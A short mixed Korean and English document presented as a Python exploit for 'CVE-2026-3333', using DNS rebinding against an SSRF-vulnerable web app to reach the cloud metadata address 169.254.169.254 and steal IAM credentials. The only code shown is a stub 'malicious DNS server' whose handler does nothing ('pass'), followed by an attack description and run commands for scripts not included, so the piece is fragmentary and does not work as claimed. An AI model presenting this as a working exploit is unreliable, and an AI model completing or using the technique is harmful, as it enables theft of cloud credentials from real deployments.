
SSRF 취약점이 있는 웹 앱을 통해 DNS 리바인딩을 이용해 클라우드 메타데이터에 접근하고 IAM 자격 증명을 탈취하는 CVE-2026-3333용 Python 익스플로잇.
#!/usr/bin/env python3
# dns_rebinding_server.py - Malicious DNS server that alternates between attacker IP and 169.254.169.254
import socket, threading, time
# This simple server resolves any subdomain of our domain to 169.254.169.254 and attacker IP alternately.
DNS_QUERIES = {}
def handle_dns(data, addr, sock):
# minimal DNS response: use a simple pattern
# For demo, we'll use a static approach: first query gets attacker IP, second gets metadata IP.
# We'll simulate by running an HTTP server that the victim will contact.
pass # actual DNS logic is complex; for demonstration, we'll simulate the whole scenario.
클라우드 환경에서 실행되는 웹 애플리케이션이 DNS 리바인딩에 취약합니다. 공격자는 자신의 IP와 클라우드 메타데이터 IP(169.254.169.254)를 번갈아 가리키는 도메인을 사용하여 IAM 자격 증명을 탈취할 수 있습니다.
python vulnerable_web_app.py
python exploit_dns_rebinding.py